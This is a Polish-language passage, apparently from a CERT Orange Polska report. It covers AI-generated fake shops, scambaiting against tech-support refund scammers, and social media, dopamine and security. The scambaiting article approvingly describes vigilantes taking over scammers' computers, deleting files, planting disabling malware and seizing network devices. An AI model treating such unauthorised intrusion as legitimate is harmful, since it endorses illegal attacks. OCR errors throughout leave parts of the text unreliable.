z tych sklepéw. Niekiedy podane sg numery telefonéw z holen-
derskim prefiksem, ktére réwniez pozostawaty bez echa.

Nasilenie tej kampanii przypadato na pierwszy kwartat 2025 roku.
Domeny byly rejestrowane nawet na kilka dni przed uruchomie-
niem kampanii sponsorowanych w serwisie Facebook. Scenariusz
tego oszustwa jest nadal kontynuowany, jednak ze znikomym lub
przewaznie zerowym wykorzystaniem kampanii sponsorowanych,
a przy uzyciu globalnych marketplace jako Zrédta ruchu.

Chociaz w tym schemacie wykorzystana jest sztuczna inteli-
gencja, to trudno szukad jej zaawansowanego zastosowania.
Ogranicza sie ono do generowania zdje¢ i opiséw produktéw.
Czasem bardzo nieudolnych, a niekiedy nawet zabawnych.
Schemat oszustwa, w ktérym kampania sponsorowana w serwi-
sie Facebook prowadzi do nieistniejgcego sklepu internetowego,
nie jest nowoscia. Widac¢ jednak, ze wykorzystanie Al to stopnio-
wa automatyzacja, ale i mozliwos¢ postawienia ,sklepu” z duza
iloscia asortymentu, a przede wszystkim tudzgaco prawdziwymi
zdjeciami witryn, wnetrz, a nawet brandingu.

cert.orange.pl
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czyli jak oszukac
oszusta

Aleksandra Nartowska

Wielu osobom cyberprzestepcy kojarza sie z wirusami i atakami na sys-
temy informatyczne, a oni sami majg obraz zakapturzonego, nikczem-
nego guru otoczonego monitorami, ktéry jednym wcisnieciem entera
moze przejac¢ wtadze nad czyims$ komputerem. W rzeczywistosci praw-
da wyglada zgota inaczej — wigkszos¢ atakdéw na systemy komputerowe
przeprowadzajg boty, a ludzcy hakerzy wybieraja duze cele, takie jak
korporacje czy rzady, nie zawracajac sobie glowy internautami.
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W przypadku przecigtnego uzytkownika stosowane przez
niego oprogramowanie jest wystarczajgco zabezpieczo-
ne, aby automatyczne ataki byly bezcelowe. Najwigksza
staboscig komputera stat sie cztowiek, a phishing (people
fishing — ,fowienie ludzi”, czyli cyberataki opierajace sie na
oszukaniu cztowieka) pozostaje najpopularniejsza forma
cyberataku (wedtug CISA — Cybersecurity & Infrastructure
Security Agency — ponad 90% cyberatakoéw zaczyna sie od
phishingowej wiadomosci).

Phishing jest tak samo kreatywny jak kazda inna dziatalno$¢
czlowieka, a wsréd mozliwych atakéw nalezy wyrdznicé
zaréwno bezposrednie wytudzenia w konwersacjach na
istniejgcych portalach, podszywanie sie pod zaufane osoby
(najczesciej — najblizsza rodzina) oraz strony, jak i preparo-
wanie catych, tudzaco podobnych do prawdziwych, witryn.

Standardowym sposobem walki z oszustami przeprowadza-
jacymi te ataki jest blokowanie ich stron oraz podnoszenie
$wiadomosci spotecznej o ich dziatalnosci. W internecie
znalazty sie jednak osoby, ktére zdecydowaly sie zwalczaé
ogien ogniem — udajg one ofiary, a nastepnie oszukuja
oszustéw. Dziatalno$¢ taka jest nazywana scambaitingiem
(towieniem oszustéw), a osoby zajmujace sie nig scam-
baiterami (fowcami oszustéw), i to wtasnie na nich skupimy
sie w tym artykule.

Wbrew powszechnemu obrazowi cyberprzestepcy wiekszosé
scammerdw nie ma duzych umiejetnosci technicznych, a ich
atak opiera sie na wyuczonych sztuczkach socjotechnicznych
i przygotowanym skrypcie. Rzadko dziatajg z ,,sekretnych
baz”, a czesciej z mieszkan czy zwyktych biur. Mato tego,
nierzadko zakiadajg cate firmy udajace legalng dziatalnosc.

| tak jak w biurach tutaj pracownicy siedzg koto siebie,
rozmawiajg i zartujg, majg kuchnie, a nawet miejsca do
odpoczynku oraz wspdlnego spedzenia czasu. | tak samo
jak te legalne majag swoje sieci komputerowe... i tak jak

w przypadku ,,uczciwych” systeméw i maszyn, tak tez tutaj
najstabszym skiadnikiem ukfadanki pozostaje cztowiek. Naj-
wiecej takich biur scammerskich znajdziemy Indiach.

~Atak” scambaitera jest atakiem phishingowym w krzywym
zwierciadle — on takze zaczyna od cztowieka. Jego cele sg
jednak dalekie od tych, jakie majg jego rozmdéwcey, i wahajg
sie od zestresowania oszusta, przez zmarnowanie jego
czasu, do przejecia kontroli nad jego komputerem, badz
nawet siecig lokalng — co moze poskutkowacé zamknieciem
dziatajacej tam operacji phishingowe;.

W tym artykule wyréznimy dwa rodzaje phishingu: pasywny
i aktywny.

Ten pierwszy polega na spreparowaniu wiadomosci (e-mail,
SMS, WhatsApp itp.), postu na mediach spotecznosciowych
badz catej witryny w celu wytudzenia od ofiary pieniedzy (np.

w sklepie internetowym) lub danych osobistych. Czesto za-
wierajg one bfedy, jakie, co ciekawsze, mogty tam zostac po-
zostawione specjalnie w celu ,,odfiltrowania” uwazniejszych
uzytkownikdéw, ktérzy nie daliby sie nabraé na oszustwo.

W pierwszym przypadku trudno méwic¢ o scambaitingu,
jako ze proces oszustwa jest zautomatyzowany. Dlatego
skupimy sie na tym drugim, ktéry wymaga bezposredniej
interakcji oszusta z ofiarg w formie rozmowy — gtosowe;j lub
tekstowej.

W zaleznosci od przyjetej meto-
dologii, 0szust moze pierwszy
nawiazac kontakt z ofiara

(np. oszustwo ,,na kupujacego”

lub ,na wnuczka”) badz wystacé
»zarzutke” pod postacia wiado-
mosci do potencjalnej ofiary,
np. z wezwaniem do zapftaty.

Rodzime oszustwa opierajgce sie na rozmowie mozna
podzieli¢ na tekstowe (rozmowa odbywa sie poprzez
komunikatory, najczesciej WhatsApp) i glosowe (rozmowa
telefoniczna).

Kilka najbardziej rozpoznawalnych oszustw tekstowych:
oszust kupit nasz przedmiot na aukcji internetowej (np. na
portalu OLX) i wysle po niego kuriera, tylko potrzebuje nasze-
go numeru karty kredytowej, zeby wystaé nam zaptate; cor-
ka/syn/wnuczka/wnuczek zgubit/a telefon i pisze z urzadze-
nia kolegi, bo potrzebuje pieniedzy na nowy; nasza przesytka
zostata wstrzymana i musimy optaci¢ dalszy transport, i tak
dalej. W tym przypadku oszust dziata masowo, a w imie-

niu wielu z nich rozmowe przeprowadzajg boty. O ile w tej
sytuacji uprawianie scambaitingu w celu zmarnowania czasu
oszusta badzZ przejecia systemow jest daremne, o tyle wcigz
umozliwia zdobycie informacji 0 oszuscie i jego sposobie
dziatania w celu chociazby ostrzezenia potencjalnych ofiar.

Odwazniejsi oszusci decyduja sie na sprobowanie sit w bez-
posredniej rozmowie telefonicznej. Dzwonig do potencjalnej
ofiary, najczesciej podajac sie za zaufane instytucje, np.
banki, firmy pozyczkowe czy firmy ubezpieczeniowe. Takie
formy ataku na ogét opieraja sie na wywarciu presji, np.
poprzez wmawianie ofierze, ze na jej dowdd osobisty zostat
wziety kredyt, ze wystapit problem z jej funduszem inwe-
stycyjnym albo ze moga poméc z kredytem we frankach
(zabawnie robi sie, kiedy PESEL mamy zastrzezony, a zaden
ze wspomnianych probleméw nas nie dotyczy). W takich
przypadkach ich celem jest uzyskanie jak najwiekszej ilosci
danych, ktére moga postuzy¢ zaréwno do wytudzenia kre-
dytu naszym kosztem, jak i wykorzystania ich w przysztych
oszustwach.



Rozmowy takie bywajg prowadzone osobiscie, a takze catkowicie
automatycznie przez boty. Zdarzaja sie tez rozwigzania hybrydo-
we, z cztowiekiem wybierajacym adekwatne kwestie nastepnie
wypowiadane przez automat.

Ataki te najczesciej trafiajg do nas zza wschodniej granicy, a nu-
mer telefonu jest zespoofowany (tj. sfatlszowany, co sprawia, ze
odbiorca widzi inny numer niz faktycznie dzwonigcy). A to utrud-
nia, badz nawet uniemozliwia, odnalezienie sprawcy.

Poza Polska, szczegdlnie w krajach anglojezycznych, powszech-
ne sg bardziej angazujgce oszustwa, gdzie scammer moze spe-
dzi¢ wiele godzin — a nawet dni — na prébie wytudzenia od jednej
ofiary. W tym przypadku stawka toczy sie o nagrode statystycznie

Oszust inicjuje potaczenie zdalne,
np. za pomoca AnyDesk czy
TeamViewer*, i uzyskuje kontrole
nad komputerem ofiary.

Ofiara ,,wysyta wniosek” o zwrot
srodkow — wedtug oszusta
— W rzeczywistosci wpisuje swoje dane
do wiersza polecen wtasnego komputera.

Oszust wytudza dane ofiary,
prosi jg o wypetnienie
yformularza zwrotu srodkow”.

\)

Scammer dopisuje zera do zadanej
kwoty zwrotu i twierdzi,
ze to literéwka ofiary.

wigksza niz u nas, bo wynoszaca od kilkuset do nawet kilkudzie-
sieciu tysiecy dolaréw.

Tutaj oszust zarzuca ,,przynete”, ktéra najczesciej przybiera
posta¢ wiadomosci mailowej i ma doprowadzi¢ do zdalnego
potaczenia z komputerem ofiary. Wiadomos$é moze zawieraé
informacje o wykonanej/oczekujacej ptatnosci, opiewajacej na
kwoty rzedu kilkuset dolaréw (e-mail taki moze tez sugerowac
przejecie konta przez rzekomych oszustéw, dzieki czemu ci praw-
dziwi moga wejs¢ w role zyczliwego bezpiecznika). Nadawcami
sa m.in.: PayPal, Microsoft, PayPal czy Amazon. Alternatywnie,
zarzutka kusi zyskami, np. z inwestycji w kryptowaluty.

W takiej wiadomosci jest wskazany numer ,wsparcia”, czy tez ,,pomo-
cy technicznej”, na ktdry nalezy zadzwoni¢ w celu rozwigzania sprawy.
Telefon odbierze cztowiek podajgcy sie za wsparcie zaufanej firmy.

Scammer moéwi ofierze, ze pobrata od
firmy za duzg kwote z racji ,literowki”.

scammer zaczyna manipulowac ofiara,
pogarszajac jej stan psychiczny,
czynigc jg fatwiejsza na dalsze
manipulacje.

\)

*

Scammer wytagcza ekran ofiary i edytuje
kod HTML strony, tworzy ,,zwrot”.

\)

Scammer nakazuje ofierze oddac
pienigdze, nierzadko grozac
konsekwencjami prawnymi.

Ofiara przekazuje pienigdze, np.
w formie kart podarunkowych czy wptat
do bankomatéw kryptowalutowych.
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*Warto takze wspomniec, ze producenci oprogramowania
do zdalnego pofaczenia sa Swiadomi nielegalnego wykorzy-
stania ich produktu. AnyDesk i TeamViewer aktywnie walczag
z oszustami: blokujg i zachecaja do zglaszania ich, przekazuja
ich dane odpowiednim stuzbom, a nawet wspofpracujg ze
scambaiterami. Ciekawg metoda prewenciji jest chociazby
wyswietlenie ostrzezenia o potencjalnym oszustwie w przy-
padku potaczen przejmujgcych kontrole pochodzacych z Indii.
Jeszcze ciekawszy jest jej skutek uboczny: w celu uniknigcia
tego ostrzezenia oszusci zaczeli wysytac prosby o ,,przejecie
kontroli nad ich maszynag”, a dopiero potem odwracac kieru-
nek polaczenia, co znacznie utatwito prace ich fowcom.

C\WINDOWS\system32 X  + ~

Microsoft Windows [Version 10.8.26200.7623]
(c) Microsoft Corporation. ALl rights reserved.

C:\Users\Sandy>BANK NAME: orange bank

C:\Users\Sandy>FULL NAME: sandra nartomska
C:\Users\Sandy>ZIP CODE: 082-326
C:\Users\Sandy>REFUND AMOUNT: 10000

C:\Users\Sandy>CONFIRM REFUND|

Dla oséb ,technicznych” powyzszy atak wydaje sie absur-

Tak wedtug oszustéw, wyglada proces wnioskowania dalny i trudno im uwierzy¢, ze ktos moze faktycznie stac sie

o zwrot Srodkéw u PayPala czy Amazona.

Celem sa ludzie starsi, nieobeznani

z komputerami, bardziej ufni

Ataki sg kierowane na osoby starsze, ktére
czesto nie majg wiedzy technicznej, jaka
zapalitaby czerwone lampki i pomogtaby im
wytapac oszustwo; w dodatku nierzadko sa
bardziej ufne niz mtodsze grupy wiekowe. To
potaczenie czyni ich szczegdlnie podatnymi
na te ataki.

Ofiara jest zestresowana wizja utraty du-
zych pieniedzy, co zaburza jej zdolnos¢
osadu

Tak jak w przypadku wielu innych oszustw,
atakujacy wywiera presje czasu na ofiare,
wywotuje wrazenie, ze kazda chwila zwioki
niesie za sobg coraz powazniejsze konse-
kwencje. W efekcie paniki ofiara nie tylko
nie mysli logicznie, ale takze nie ma czasu
na skonsultowanie sytuacji z zaufanymi
osobami.

jego ofiara.

Oszust manipuluje ofiara emocjonalnie
Oszust manipuluje ofiarg emocjonalnie zaréw-
no poprzez wywotanie litosci, jak i zastrasza-
nie. Na przyktad moze twierdzic, ze jesli ofiara
nie ,,zwrdci” pieniedzy, to utraci on prace
badz ofiara poniesie powazne konsekwencje
prawne, tgcznie z pdjsciem do wiezienia za
sKradziez pieniedzy” duzej korporacji.

Oszusci udaja profesjonalizm

Oszusci starajg sig, aby caly proces wygladat
profesjonalnie dla oséb niezaznajomionych

z technologig. Wiadomosci mailowe wygladajg
(wystarczajgco) prawdziwie, a oszusci symulujg
rozbudowang strukture w firmie, wliczajgc w to
hierarchie i oddziat zwrotéw (w tym celu czesto
przekazujg stuchawke innemu oszustowi).

W czasie oszustwa uzywajg oni takze wiersza
polecen, co ofiare moze przyttoczyc i sprawi¢
wrazenie, ze wykonuje zaawansowane opera-
cje techniczne, ktérych nawet nie rozumie.

Natomiast osoby zaznajomione z tematem
sg swiadome, ze:

01

Oszustwo opiera sie na skrypcie

Oszust nie jest socjotechnicznym geniuszem
ani nie ma szczegodlnej wiedzy z psychologii.
W rzeczywistosci skrypt zostat przygotowany
przez kogos innego, np. wiasciciela danej
firmy phishingowej, a i to na podstawie popu-
larnych schematow. Oszust jedynie wykonuje
skrypt i bardzo Zle znosi wszelkie odstepstwa
od niego, niewazne, jak absurdalne by byty.
Na YouTube mozna znalez¢ filmy, na ktérych

0

scaimbaiterzy doprowadzajg oszustéw do
irytacji samym wciskaniem enter w wierszu
polecen.

Oszustwo opiera sie na catkowitej nie-
wiedzy technicznej ofiar

W rzeczywistosci proces zwrotu srodkow
wyglada inaczej; natychmiastowe zwroty sa
marzeniem (mamy szczescie, jesli czekalismy
stylko” kilka dni), a sklepy $cisle kontrolujg




wyptacane $rodki. Jesli nawet doszioby do takiej
pomytki, to odpowiedzialnos¢ bytaby po stronie

wyptacajacego.

O 30$zus'ci maja silny akcent
Oszusci méwia z charakterystycznym akcentem
kraju, z ktérego pochodza, ale starsze osoby
w swojej ufnosci na ogét przymykajg na to oko
i wierza, ze rozmawiajg z prawdziwym wsparciem
technicznym.

O 40$zus'ci maja stabe nerwy
Pomimo ze mozna oczekiwaé charyzmatycznego

i opanowanego méwcy jako osoby podajgcej sie za
wsparcie techniczne Microsoftu, w rzeczywistosci
oszusci tatwo wpadajg w zto$¢. Na nagraniach ze
scambaitingu sg powszechne wulgaryzmy wypo-
wiadane przez sfrustrowanych oszustéw, takze
kierowane w strone ofiar. Oczywiscie takie sytuacije
nie majg miejsca w przypadku profesjonalnego
wsparcia technicznego i by¢ moze w normalnych
warunkach ofiara zauwazytaby te oczywista, czer-
wong flage. Niestety, kiedy oszust zaczyna krzyczeé
i przeklina¢, ofiara jest juz na tyle zmanipulowana

i wystraszona, ze ignoruje ten fakt lub, co gor-

sza, zdaje sobie sprawe, ze cos jest nie tak, ze jej
rozméweca nie jest tym, za kogo sie podaje. W tym
momencie jednak za bardzo sie boi, aby przerwac
proces.

O Oszusci nie maja zdolnosci technicznych

5Szewc bez butéw chodzi, a cyberprzestepca nie ma
zdolnosci technicznych — gdyby je miat, zajmowatby
sie fachem ambitniejszym niz okradanie starszych lu-
dzi. Oszust potrafi obstuzy¢ komputer, zestawic¢ sesje
zdalng oraz uzy¢ funkcji ,Zbadaj element” do prostej
edyciji strony, ale na tym koriczg sie jego umiejetno-
$ci. Dzieki temu tatwo ulega sztuczkom scam-
baiteréw, ktére umozliwiaja przejecie wtadzy nad jego
komputerem — tunelem, jaki sam otworzyt. Warto
nadmieni¢, ze inwestowanie w takiego pracownika
nie jest optacalne, a w przypadku jego ujawnienia

jako scammera, badzZ chociazby niezdolnosci do

0

0
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oszukiwania ze wzgledu na brak umiejetnosci migk-
kich, duzo tatwiejsze jest znalezienie nowego.

Nie tylko oszusci, ale cate firmy nie maja
zaplecza technologicznego

Bo kosztuje. ,,Firmy” zajmujgce sie wytudzaniem

w zatozeniu majg by¢ jak najtarisze, szczegdlnie ze
ich witasciciele sami sg $wiadomi ryzyka nagtego
zamkniecia, a koszt edukacji pracownikéw i optace-
nia specjalisty odpowiedzialnego za zabezpieczenie
systemoéw przekracza potencjalne korzysci. Nie
pomaga tez fakt, ze kolejne oszczednosci wpro-
wadzajg kosztem oprogramowania (korzystajg ze
starych i/lub pirackich wersji) oraz sprzetu (decydujg
sie na domowe routery, i to te najtarisze). Nawet
podstawowe zabezpieczenia sieci Wi-Fi czesto

s3 ponizej poziomu domowych, gdyz majg by¢
dostepne dla pozbawionych umiejetnosci technicz-
nych oszustéw.

Oszusci widza mata czesé ukradzionej kwoty,
wiekszos¢ idzie do ich pracodawcéw

W catej hierarchii osoba, ktéra wykonuje brudng
robote, czyli wytudzenie, widzi tylko maty procent
wytudzonej kwoty. W Indiach, w zaleznosci od
doswiadczenia i wysokosci tupu, jest to na ogét
5-15% (jesli w oszustwie bierze udziat wigcej osob,
nagroda zostaje podzielona migdzy nie). Cze$¢ zy-
sku trafia takze do lidera zespotu, ktérego gtéwnym
zadaniem jest monitorowanie i rozliczanie podwiad-
nych. 70-90% skradzionej kwoty trafia koncowo do
wiasciciela takiego ,,biznesu”. Oszusci otrzymuja
takze premie bazowa, ktéra w przypadku poczat-
kujacych oscyluje w granicach dolnego progu
przecietnego wynagrodzenia.

Oszusci nazywaja ofiary ,,klientami”

Ze zdobytych przez scambaiteréw raportéw

i skryptow wynika, ze oszusci nazywajg swoje ofiary
~Klientami”... na czym chyba mozna zakonczy¢ te
sekcje.
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Proces scambaitingu rozpoczyna sie od ,tykniecia zarzutki”
- odpowiedzi na wystang przez oszusta wiadomos¢. Scam-
baiterzy sami przygotowujag wtasne skrzynki, ktére majg
zwabiac takie wiadomosci, a takze analizujg préby phishingu
zgtoszone przez innych uzytkownikéw.

Otrzymawszy takga wiadomosé, scambaiter dzwoni na
wskazany numer telefonu, najczesciej udajac ,wzorcowg”
ofiare: starszg osobe bez umiejetnosci technicznych. To,
co nastapi po odebraniu telefonu przez oszusta, zalezy od
przyjetej przez towce oszustéw metodologii i zatozonego
celu dziatania.

W tej czesci podzielimy towcoéw oszustéw wedtug metodo-
logii i celu ich dziatania.

[ godzinami wodzi oszusta wizjg rychtego duze-
go zarobku.

[ zrecznie ,,odgrywa role”, nie tylko ofiary, ale takze
stawnej osoby czy instytuciji.

= namierza oraz upublicznia dane oszustéw i ich
miejsc ,pracy”.

n swoimi ,czarami” wtamuje sie¢ do komputera
oszusta.

01. zludnej nadziei czar

lluzjonista zajmuije sie najbardziej klasycznym scambaitin-
giem: godzinami (albo i dniami! — oczywiscie z przerwami)
udaje ofiare szczerze wierzacg scammerowi. Potulnie wyko-
nuje polecenia oszusta w najwolniejszy i mozliwie najbardziej
wypetniony btedami sposéb, udaje niezrozumienie, niedosty-
szenie, ale takze ulegtosé i catkowite zaufanie wobec oszu-
sta. Tworzy tym iluzje frustrujacego, ale w gruncie rzeczy
fatwego tupu, a oszust kontynuuje swoj plan przekonany, ze
juz niedtugo ,zarobi” wysoka kwote — nieSwiadomy, ze jedy-
ne, co go czeka na koricu tej drogi, to $miech scambaitera

i, jesli dzieli sie swojg dziatalnoscig, jego widzow.

O ile lluzjonista nie hakuje systemoéw oszustéw, o tyle sam
moze przygotowac techniczne zasadzki po swojej stronie.
Dobrym przyktadem jest film, ktéry zamiescit Kitboga — jeden
z najbardziej rozpoznawalnych scambaiteréw — gdzie oszu-
$ci musieli przeprawi¢ sie przez niekoriczace sie captche,
wczesniej przygotowane przez widzow jego kanatu. Kitboga
korzysta takze ze specjalnie przygotowanej, lokalnej wers;ji
Sklepu Google, umozliwiajgcej mu udawanie, ze witasnie zre-
alizowat wartg setki dolaréw karte podarunkowa tuz przed
oczami oszusta, ktéry jeszcze chwile temu wierzyt, Ze lada
moment dostanie swoj tup.

Jakie sg korzysci takiego scambaitingu? Pierwsza jest
zmarnowanie czasu oszustow, ktérzy przyjawszy zarzutke,
rozmawiajg z ,wedkarzem” dtugie godziny, podczas ktérych
nie beda w stanie wyrzadzi¢ prawdziwych szkéd. Druga jest
edukowanie spoteczerstwa o zagrozeniach; wielu scam-

baiteréw nagrywa i publikuje cate zdarzenie, co nastepnie
ogladajg internauci, jednoczesnie zyskuja wiedze o sposobie
dziatan cyberprzestepcow. Ostatnia z korzysci jest zepsucie
humoru oszustowi i zdenerwowanie go, co prowadzi do
zniechecenia do pracy — nawet jesli niecatkowicie, to przy-
najmniej na najblizsze kilka godzin.

02. drobny psikus, duze zmartwienie

Trefnisiem nazywamy osobe, ktéra odbiega od standar-
dowej roli potulnej ofiary, a zamiast tego przyjmuje po-
wazniejsze — a wrecz grozniejsze — role. Wsréd nich moz-
na wyrézni¢ zespoty do zwalczania cyberprzestepczosci,
policje, ale takze znane osoby, a nawet wirtualnych
asystentow, takich jak Alexa czy Siri. Tak jak w przypadku
lluzjonisty, tutaj najwiekszymi korzysciami jest zmarnowa-
nie czasu oszustow i edukacja spoteczenstwa, ale takze
zestresowanie oszusta, np. wizjg zmierzajacego do jego
biura oddziatu policiji.

Jako przykfad takiego scambaitera mozna wyréznic aktorke
gtosowa IRLRosie, ktdra wykorzystuje swoje umiejetnosci
do pogrywania z oszustami, m.in. jako Siri ,,blokujgca”
dostep do ofiary, wydziat bezpieczeristwa Microsoftu czy...
Britney Spears.

03. polowanie na dane

Celem kowcy jest zdobycie informaciji o oszustach, ta-

kich jak dane osobowe oszusta i jego wspédtpracownikéw,
dokfadny adres siedziby, a takze ich ofiary i wytudzone od
nich kwoty. kowca moze dziata¢ za pomocg OSINT i innych
~hietechnicznych” metod, jednak najczesciej przejmuje

on kontrole nad systemem oszusta, tym samym stajgc sie
Czarodziejem.

04. zaklecie zniszczenia

~Magia” sg oczywiscie umiejetnosci i wiedza techniczna,
ktére umozliwiajg Czarodziejowi przejecie kontroli nad wro-
gimi maszynami.

Tak jak opisaliémy, poziom techniczny oszustéw i ich zabez-
pieczen jest praktycznie zerowy, co czyni z nich atrakcyjny
cel dla tych scambaiteréw. Kiedy oszust taczy sie z kom-
puterem ofiary, to scambaiter wykorzystuje jego niewiedze

i niedbato$¢ do odwrdcenia potgczenia i przejecia kontroli
nad jego maszyng. Oprogramowanie skonfigurowane byle
jak, wielokrotne uzywanie jednego ID sesji i akceptowanie
présb o potaczenie — to wszystko tworzy wybuchowa mie-
szanke, ktdrg ugotowali sami oszusci.

Po przejeciu kontroli ,czarodziej” czgsto rozpoczyna od zdo-
bycia danych. Czasem tutaj akcja sie koriczy; czasem towca
podtrzymujepotaczenie diuzej, obserwuje dziatalnos¢ oszu-
sta, zbiera dowody popetnionych przez niego przestepstw,

a takze ostrzega ofiary, jesli oszust przejdzie do proby wy-
tudzenia od kogo$ innego. Mozna znalez¢ filmy, w ktérych
taka osobe udato sie ostrzec dostownie w ostatniej chwili,
np. minute przed wystaniem oszustowi pieniedzy.



Trzecia i najbardziej spektakularna opcja to przejscie do bar-

dziej agresywnych dziatan, takich jak:

m kasowanie plikéw;

= wyswietlenie widoku z kamerki internetowej (fowcy oszustow
uwielbiajg pokazywaé oszustom ich zdjecia z zaskoczenia);

m instalowanie ztosliwego oprogramowania (chociaz w tym
przypadku moze wypada powiedzie¢: zyczliwego?); czesto
w zartobliwiej formie, ktdra zaleje oszusta komunikatami w stylu:
+NIE MA WIECEJ SCAMOWANIA” albo ,,SCAMMER PAYBACK
TU BYLI” (Scammer Payback — znana grupa scambaitowa);
oprogramowanie takie osadza sie gteboko w systemie, uniemoz-
liwiajgc uzywanie komputera;

m przejecie kontroli nad kolejnymi urzgdzeniami w sieci lokalnej,
w tym kamerami i routerami; dobrze przeprowadzony atak takiej
skali moze poskutkowaé paralizem infrastruktury oszustow.

Skuteczny atak na komputer oszusta jest rbwnoznaczny z kon-
cem jego kariery w danym miejscu. Natomiast pozyskane dane
towey przekazujg stuzbom porzadkowym, ktére podejmujag odpo-
wiednie dziatania w celu ukarania przestepcéw i uniemozliwienia
im dalszej dziatalnosci.

Warto wspomnieé, ze niektdrzy ze scambaiteréw podejmujgcych
te dziatania to czesto tzw. gray hat hackers, czyli hakerzy uzywaja-
cy niekoniecznie legalnych metod i narzedzi, niemniej w etycz-
nym celu. Dlatego tez pozostajg anonimowi..., ale trudno sobie
wyobrazi¢ stuzby Scigajace ten konkretny rodzaj ,wykroczenia”.

Poza ww. grupg Scammer Payback mozna wyrézni¢ takich tow-
céw oszustow, jak: Jim Browning, Scambaiter, NanoBaiter oraz
Scam Sandwich.

Scambaiting w Polsce

Scambaiting nie jest rozpowszechniony u nas tak jak za grani-
c3a, a to z prostej przyczyny: ,,rodzimi” nie stosujg tak proak-
tywnych metod jak potgczenie zdalne pod pretekstem wsparcia
technicznego.

Z drugiej strony, swoistym scambaitingiem mozna okresli¢ samo
kontaktowanie sig z oszustami pod przykrywka ofiary, np. w celu
zdobycia informaciji i dalszego ostrzezenia prawdziwych potencjal-
nych ofiar oraz szerzenia $wiadomosci spotecznej. Takg dziatal-
nosé prowadzi CERT Orange Polska - regularnie kontaktuje sie

z oszustami i informuje o kolejnych kampaniach phishingowych.

Tego typu inicjatywy pojawiaja sie takze oddolnie, a polscy
internauci czesto dziela sie prébami phishingu — zaréwno w celu
przestrzegania, jak i wysmiania niedosztych ztodziei. Na przyktad
kanat Poszukiwacze Okazji na YouTube informuje i przestrzega
przed dziatalnos$cig oszustéw internetowych, natomiast Fangotten
od lat prowadzi seri¢ Internetowi Handlarze, gdzie takze przewijaja
sig niedoszli mistrzowie cyberzbrodni.

Ostatecznie sami uzytkownicy chetnie udostepniaja zrzuty ekranu
niedosztych rozmoéw - i tak jak czesto ich celem jest giownie
rozbawienie odbiorcy nieudolnoscig oszusta, tak tez pomaga to
zwiekszy¢ swiadomos¢ spoteczng o skali oszustw. Proby wytu-
dzenia na ,,znajomego kuriera” czy ,optacong przesytke” wydajg
sie obecnie bardziej zabawne niz grozne.

Scambaiting, czyli jak oszukac oszusta

Podsumowanie

cert.orange.pl
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Media spotecznosciowe, dopamina i... cyberbezpieczenstwo d

Media
spotecznosciowe,
dopaminai...
cyberbezpieczenstwo

// Michat Rosiak

Potraficie wyobrazi¢ sobie swiat bez mediéw spotecznosciowych? Dla
boomerdéw czy pokolenia X to swiat, w ktérym dorastali. Dla mtodszych
jednak media spotecznosciowe to bardzo czesto gtéwne zrédto in-
formaciji, nierzadko tez kontaktu z dalszymi kolegami czy znajomymi.

A dla firm nimi zarzadzajacych? Zrédto wielkich pieniedzy, ktére zara-
biajg, karmigc nieSwiadomych uzytkownikéw dopamina.

cert.orange.pl
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Media spotecznosciowe to jedno z kluczowych $rodowisk
sieciowej aktywnosci. Zaréwno nas, dorostych, jak i dzieci
oraz mtodziezy. Serwiséw tego typu znajdziemy w sieci
wystarczajgco duzo, by kazdy znalazt cos dla siebie.
Podajmy chocby najpopularniejsze przyktady:

m Facebook (mtodziez twierdzi, ze jest juz passe i zostajg
na nim tylko, cytat: ,starzy ludzie”),

m Twitter/X,

m Instagram,

m Snapchat,

m Tik Tok.

Pamietajmy tez jednak o komunikatorach, ktére w katego-
rii dostarczycieli dopaminy mozna traktowaé podobnie:

= Messenger,

» WhatsApp,

= Signal,

m wewnetrzny komunikator Instagrama.

O ile czg$¢ ludzi z pokolenia 40+ moze sobie wyobrazi¢
zycie bez powyzszych, o tyle mtodziez? Tu pytanie wyda-
je sie, niestety, retoryczne.

Zacznijmy od tego, czym w ogdle jest dopamina? To neuromo-
dulator mézgowy, kluczowy dla uktadu nagrody: koduje przede
wszystkim btad przewidywania nagrody (réznice miedzy tym,
czego sie spodziewamy, a tym, co dostajemy), wzmacniajac
uczenie nawykdw i motywacje do powtarzania dziatan, ktére

Uzytkownik funkcjonujacy w sta-
nie ciagtego pobudzenia i frag-
mentarycznej uwagi jest bardziej
podatny na impulsywne reakcje,
klikanie w niezweryfikowane tre-
$ci oraz uleganie manipulacjom.

przyniosty korzys¢. W kontekscie social mediéw kluczowa dla
strzatu dopaminowego, paradoksalnie, nie jest docelowa przy-
jemnos¢, lecz cheé szukania kolejnych bodZcéw spotecznych.
To dlatego, ze media spotecznosciowe charakteryzuje zmienny
harmonogram wzmocnien: nieregularne lajki, komentarze

i trafione tresci tworza niepewnosé, ktdra silnie podbija fazowe
sygnaty dopaminowe. Mechanizm ten mozna poréwnaé do
automatu z nagrodami. W skrécie: dopamina nie tyle ,,daje
lajki w gtowie”, ile uczy mézg, za jakimi sygnatami i dziataniami
warto podazac. Social media wykorzystujag niepewne spotecz-
ne nagrody i sygnaly zapowiadajgce, by utrzymywac wysoki
naped do kolejnych sprawdzen.

A co powyzsze oznacza dla mézgdw uzytkownikéw social
mediéw? To, ze nadmierne korzystanie z dopaminowych tre-

$ci moze generowac uzaleznienie tozsame z naduzywaniem
alkoholu czy narkotykéw. Dlaczego tak sie dzieje? Dlatego
ze im diuzej siedzimy w internetowych serwisach, tym fatwiej
naszg bytnos¢ tam zmonetyzowac na wysokim poziomie. To
systemy projektowane w celu maksymalizacji zaangazowa-
nia, ktérych logika dziatania opiera sig na ciagtym podtrzy-
mywaniu uwagi uzytkownika. Dlatego platformy spotecz-
nosciowe wykorzystujg zestaw rozwigzan, ktére skutecznie
wydtuzajg czas spedzany przed ekranem, a wsrdd nich:

m algorytmy rekomendacyjne dynamicznie dopasowujgce
tresci do zachowan uzytkownika,

m ciggte strumienie tresci (infinite scroll, autoplay),

m nieregularne wzmocnienia w postaci polubieri, komenta-
rzy i powiadomien,

m silne bodZce wizualne i krétkie formaty wideo.

Jak to wptywa na bezpieczerstwo? Biochemia mézgu to
jedno. Réwnie istotne jest to, ze uzytkownik funkcjonujacy
w stanie ciagtego pobudzenia i fragmentarycznej uwagi
jest bardziej podatny na impulsywne reakcje, klikanie

w niezweryfikowane tresci oraz uleganie manipulacjom.

Dtugotrwate i intensywne korzystanie z tego typu platform
zwigksza ekspozycje na tresci szkodliwe, manipulacyjne

i przestepcze, a takze obniza zdolno$¢ uzytkownika do
krytycznej oceny bodZcéw. Szczegdlnie narazong grupa
sg dzieci i modziez, ktérych mechanizmy samoregulaciji

i kontroli impulséw nie sg jeszcze w petni rozwinigte.

